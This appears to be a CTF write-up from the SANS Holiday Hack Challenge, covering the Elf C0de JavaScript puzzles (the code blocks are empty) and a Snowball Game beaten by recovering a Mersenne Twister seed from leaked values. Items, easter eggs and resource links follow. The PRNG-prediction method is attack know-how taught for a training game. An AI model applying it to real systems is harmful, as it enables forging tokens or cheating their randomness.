- Adversary Emulation and Splunk - Dave Herrald talks about emulating advanced adversaries and hunting them with Splunk.
- Data Decoding and Investigation - Defenders often need to manipulate data to decRypt, deCode, and reform it into something that is useful. Cyber Chef is extremely useful here!
The Elf C0de
A fun game awaits us in the Dining Room:
Ribb Bonbowford:
Helloâ-âmy name is Ribb Bonbowford. Nice to meet you!
Are you new to programming? It’s a handy skill for anyone in cyber security. This challenge centers around JavaScript. Take a look at this intro and see how far it gets you!
Ready to move beyond elf
commands? Don’t be afraid to mix in native JavaScript. Trying to extract only numbers from an array? Have you tried to filter
? Maybe you need to enumerate an object’s keys and then filter? Getting hung up on number of lines? Maybe try to minify your code.
Is there a way to push
array items to the beginning of an array? Hmm…
The following hints are given by the elf:
- JavaScript Primer - Want to learn a useful language? JavaScript is a great place to start! You can also test out your code using a JavaScript playground.
- JavaScript Loops - Did you try the JavaScript primer? There’s a great section on looping.
- Filtering Items - There’s got to be a way to filter for specific typeof items in an array. Maybe the typeof operator could also be useful?
- Getting a Key Name - In JavaScript you can enumerate an object’s keys using keys, and filter the array using filter.
- Compressing JS - There are lots of ways to make your code shorter, but the number of elf commands is key.
- Adding to Arrays -
var array = [2, 3, 4]; array.push(1)
doesn’t do QUITE what was intended…
This challenge is a Javascript primer and can be as well accessed through https://elfcode.kringlecastle.com:
There are many levels and the goal of each level is always to program our elf to grab all the lollipops and reach the castle entrance by avoiding all the dangers on the map. The Object Help menu on the left as well as the How To Play The Elf C0de are good places to start.
It starts easy and we have 2 different solutions to move the elf:
|
|
or
|
|
The lever #0
objective is to add 2
to the returned numeric value of running the function elf.get_lever(0)
. We can submit the solution using elf.pull_lever(answer)
while standing on the lever grid square. The solution is:
|
|
We can think of 2 different solutions here as well, one of them introducing loops:
|
|
or
|
|
Here, we can loop 5 times, by alternating up and down directions, to guide the elf through the labyrinth:
|
|
The munchkin #0
objective is to use elf.ask_munch(0)
to get an array of numbers and strings and to return the array with only the number with elf.tell_munch(answer)
.
Solution:
|
|
There are 2 possible paths here. The first one involves pulling the lever to make the Munchkin fall. The other one involves answering the Munchkin question to let us pass. For both solutions, we can easily get out of the labyrinth by only using elf.moveTo(object)
calls.
The lever #0
objective is to get an array and add the string munchkin rule
as the first element.Â
The munchkin #0
objective is to get a JSON object and we must return the key with a value of lollipop
.
Solution 1 (with lever):
|
|
Solution 2 (with Munchkin):
|
|
We have passed the main levels and Ribb rewards us with a hint for Objective 10:
Wowâ-âare you a JavaScript developer? Great work!
Hey, you know, you might use your JavaScript and HTTP manipulation skills to take a crack at bypassing the Santavator’s S4.
- There may be a way to bypass the Santavator S4 game with the browser console…
There are still some bonus levels to complete though!!
The levers' objectives are all the same, we need to respond with the lever number and that’s it. Each lever will lift the next bridge.
The Munchkin #0
objective is:
There is an additional handicap: elf.moveTo(object)
has been disabled. The solution is:
|
|
The levers' objectives are all the same, we need to respond with the lever value that it returns added to the values of all the previous levers. Each lever will lift the next bridge.
The Munchkin #0
objective is:
Again, there is an additional handicap: elf.moveTo(object)
has been disabled.
Solution:
|
|
And with that, we completed all the Javascript challenges:
Snowball Game
The last game is monitored by Tangle Coalbox:
Tangle Coalbox:
Howdy gumshoe. I’m Tangle Coalbox, resident sleuth in the North Pole.
If you’re up for a challenge, I’d ask you to look at this here Snowball Game. We tested an earlier version this summer, but that one had web socket vulnerabilities. This version seems simple enough on the Easy level, but the Impossible level is, well⌠I’d call it impossible, but I just saw someone beat it! I’m sure something’s off here.
Could it be that the name a player provides has some connection to how the forts are laid out? Knowing that, I can see how an elf might feed their Hard name into an Easy game to cheat a bit.
But on Impossible, the best you get are rejected player names in the page comments. Can you use those somehow?
Check out Tom Liston’s talk for more info, if you need it.
And the hints he gives us are:
- PRNG Seeding - While system time is probably most common, developers have the option to seed pseudo-random number generators with other values.
- Extra Instances - Need extra Snowball Game instances? Pop them up in a new tab from https://snowball2.kringlecastle.com.
- Mersenne Twister - Python uses the venerable Mersenne Twister algorithm to generate PRNG values after seed. Given enough data, an attacker might predict upcoming values.
- Twisted Talk - Tom Liston is giving two talks at once - amazing! One is about the Mersenne Twister.
We can as well directly access the game from https://snowball2.kringlecastle.com/ which will be more convenient for analysis. The game is an equivalent of the Battleship board game, we need to throw snowballs and hit the hidden snow forts until we destroy all of them. There are 4 different difficulties.
Easy and Medium:
In the Easy and Medium level, we can choose the Player Name
and can beat the game quite easily by playing normally as the computer is not very smart:
When we win we get the following message:
In the case we loose we get:
So if our understanding is correct, in the Easy and Medium level we can choose what is the seed used to generate the board. This means that if we use always the same seed, the board will always be the same. And it appears that the seed used on these levels is the Player Name
. For instance, for a seed=noobintheshell
we get the following enemy board each time:
The same goes for our board that is as well always the same for a given seed
.
Hard:
In Hard mode, we can’t choose the seed, however, we see it (our Player Name
) when we start the game. So what we can do to beat this level is to run the game in Easy mode (in another tab) with the seed used in Hard mode. We will know where the snow castles are.
Impossible:
In this mode, we can’t make any single mistake as the attacker is successful at each turn.
Here, we do not get to know the seed
used at all. However, we get to know from the game description that hundreds of random seed
are generated before one is picked up. The tested ones are shown in the HTML code of the page:
As we know from the hints, the Python random
function is used to generate those random numbers. This function uses the Marsenne-Twister algorithm for the PRNG. This algorithm has a known weakness: if we have enough consecutive random numbers, we can possibly predict the next ones. We can use the marsene-twister-predictor
to achieve that. We can install it with:
Then we need to get the list of random numbers that we saw in the HTML code in a text file, one number per line. For the prediction to work, we need exactly the last 624 generated random numbers because Marsene-Twister uses a state table of 624 values. Then simply call the below command to get the next random number:
71766020
Then, as for the Hard level, we can use this seed on the Easy level to get the castle placement and beat the Impossible level:
Tangle gives us some hints to beat Objective 11a and Objective 11b:
Tangle Coalbox:
Crikeyâ-âthat’s it! You’ve done the Impossible! You’ve impressed this old elf today. Great work identifying and abusing the pseudo-random sequence.
Now, the REAL question is, how else can this be abused? Do you think someone could try and cheat the Naughty/Nice Blockchain with this? If you have control over to bytes in a file, it’s easy to create MD5 hash collisions. Problem is: there’s that nonce that he would have to know ahead of time.
A blockchain works by “chaining” blocks togetherâ-âso there’s no way that Jack could change it without it messing up the chain⌠Maybe if you look at the block that seems like it got changed, it might help. If Jack was able to change the block AND the document without changing the hash⌠that would require a very UNIque hash COLLision.
Apparently Jack was able to change just 4 bytes in the block to completely change everything about it. It’s like some sort of evil game to him. That’s about all the help I can give you, kid, but Prof. Petabyte may have more.
- MD5 Hash Collisions - If you have control over to bytes in a file, it’s easy to create MD5 hash collisions. Problem is: there’s that nonce that he would have to know ahead of time.
- Blockchain … Chaining - A blockchain works by “chaining” blocks together - each new block includes a hash of the previous block. That previous hash value is included in the data that is hashed - and that hash value will be in the next block. So there’s no way that Jack could change an existing block without it messing up the chain…
- Blockchain Talk - Qwerty Petabyte is giving a talk about blockchain tomfoolery!
- Block Investigation - The idea that Jack could somehow change the data in a block without invalidating the whole chain just collides with the concept of hashes and blockchains. While there’s no way it could happen, maybe if you look at the block that seems like it got changed, it might help.
- Unique Hash Collision - If Jack was somehow able to change the contents of the block AND the document without changing the hash… that would require a very UNIque hash COLLision.
- Imposter Block Event - Shinny Upatree swears that he doesn’t remember writing the contents of the document found in that block. Maybe looking closely at the documents, you might find something interesting.
- Minimal Changes - Apparently Jack was able to change just 4 bytes in the block to completely change everything about it. It’s like some sort of evil game to him.
Items
Some items are spread around the Santa’s castle. At the exception of the Proxmark3, used to complete Objective 5, the items can only be used to operate the Santavator. Here is their location:
Item | Location | Description |
---|---|---|
Broken Candycane | Near the castle entrance, on the floor | Like one you’d find between the couch cushions |
Hex Nut 1 | Entry Area next to the Santavator | An unremarkable, stainless steel, hex nut |
Hex Nut 2 | Dining Room, hidden under the table | An unremarkable, stainless steel, hex nut |
Green Bulb | Top left corner of the Courtyard | It’s a green bulb from those big, old-school christmas lights. |
Elevator Service Key | Talk to Sparkle Redberry next to the Satavator | This key opens the service panel on the Santavator. |
Red Bulb | Top right of the Talks Lobby (2nd floor) | It’s a red bulb from those big, old-school christmas lights. |
Elevator 1.5 Button | Bottom right of the Speaker UNpreparedness Room | Like those awkward semi-sequels, this button goes almost to the next floor |
Large Marble | Workshop, on the floor | It’s a marble…that attracts sparkles. |
Rubber Ball | Wrapping Room, on the floor | Great for bouncing electrons, probably. |
Proxmark3 | Wrapping Room, on the floor | RFID Swiss-army tool |
Portals | Speaker UNpreparedness Room, from the vending machine | Good for shifting the Super Santavator Sparkle Stream across spacetime… or eating! |
Yellow Bulb | Rooftop, on the floor | It’s a yellow bulb from those big, old-school christmas lights. |
Christmas Eggs
One of the quests I enjoy the most in the Holiday Hack challenges is to find as many hidden Eggs as possible! Here are the ones I spotted this year:
Location | Egg |
---|---|
Challenge title | Three French Hens comes from The Twelve Days of Christmas Christmas carol (the 3rd day of Christmas for the 3rd KringleCon) |
Castle Approach | Richard F. Hall panel on the grass, building homes in Jersey Shore |
Castle Approach | one of the hens, Jean-Claude, says “Jacques DuGivre!” in French which translates to Jack Frost. |
Castle Entry | is the painting a portrait of Ed Skoudis? |
Wrapping Room | the email on the wall asking Iceman if the name Proxmark3 could be used freely |
Objective 1 | the Enigma Machine on the billboard image |
Objective 6 | the Splunk user is Kris Kringle, another name for SantaâŚbut that could as well refer to the main protagonist of Miracle on 34th Street |
Objective 6 | Alice Bluebird is the main character of the graphic novel Through the Looking Glass Table from Splunk. |
Objective 6 | the Lollipop Guild refers to The Wizard of Oz |
Objective 8 | ASCII art in the server’s tmp folder |
Objective 9 | the FTP server ftp.osuosl.org actually exists and is owned by the Open Source Lab @ Oregon State University |
Objective 9 | the final letter we retrieve refers to a lot of characters from Rudolph the Red-Nosed Reinder |
Objective 9 | the final letter we retrieve Tanta Kringle is a character from Santa Claus Is Comin To Town |
Objective 11 | the elves on the shelf that are reporting kids bat behavior |
CranPi 1 | Jason The Plant hidden in the ‘plant’ menu (made appearances in past challenges) |
CranPi 2 | the SESSNAME environment variable is Munchkin Wrangler which refers to The Wizard of Oz movie |
Soundtrack | the song played in the Dining Room is a remix of a The Year Without A Santa Claus song |
Soundtrack | the song in the Courtyard is a remix of a You’re a Mean One, Mr Grinch |
Soundtrack | the song in the Kitchen is a remix of Jimmy Boyd’s I saw Mommy kissing Santa Claus |
Soundtrack | the Santavator’s song is a remix of the Girl from Ipanema |
Soundtrack | the song in the ??? room is a remix of I Wish I Could Be Santa Claus from A Muppets Christmas |
Soundtrack | Santa’s transformation song is a remix of Zat You Santa Claus from Louis Armstrong |
The Elf C0de | lollipops and Munchkins refer to the to The Wizard of Oz movie |
Sort-O-Matic | the Island of Misfit Toys refers to Rudolph the Red-Nosed Reinder |
Snowball Game | the ID used for the win code is HughRansomDrysdale who is the villain in the movie Knives Out |
Snowball Game | the QR code shown when we loose directs us to www.counterhack.com |
Additional Ressources
Objective 3
Objective 6
- https://attack.mitre.org/matrices/enterprise/
- https://github.com/splunk/attack_range
- https://docs.splunk.com/Documentation/SCS/current/SearchReference/RexCommandOverview
- https://docs.splunk.com/Documentation/SCS/current/SearchReference/Aggregatefunctions#distinct_count.28.26lt.3Bvalue.26gt.3B.29_or_dc.28.26lt.3Bvalue.26gt.3B.29
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1082/T1082.md
- https://github.com/frgnca/
- https://attack.mitre.org/techniques/T1123/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1123/T1123.md
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.001/T1547.001.md#atomic-test-3---powershell-registry-runonce
- https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat
- https://zeek.org/
- https://tools.ietf.org/html/rfc74653
- https://gchq.github.io/CyberChef/
Objective 8
- https://portswigger.net/burp
- https://portswigger.net/web-security/file-path-traversal
- https://ngrok.com/
- https://snyk.io/research/zip-slip-vulnerability
Objective 10
Objective 11a
- https://github.com/python/cpython/blob/master/Doc/library/random.rst
- https://github.com/python/cpython/blob/master/Modules/_randommodule.c
Objective 11b
- https://github.com/corkami/collisions/blob/master/unicoll.md
- https://hexed.it/
- https://github.com/corkami/collisions#pdf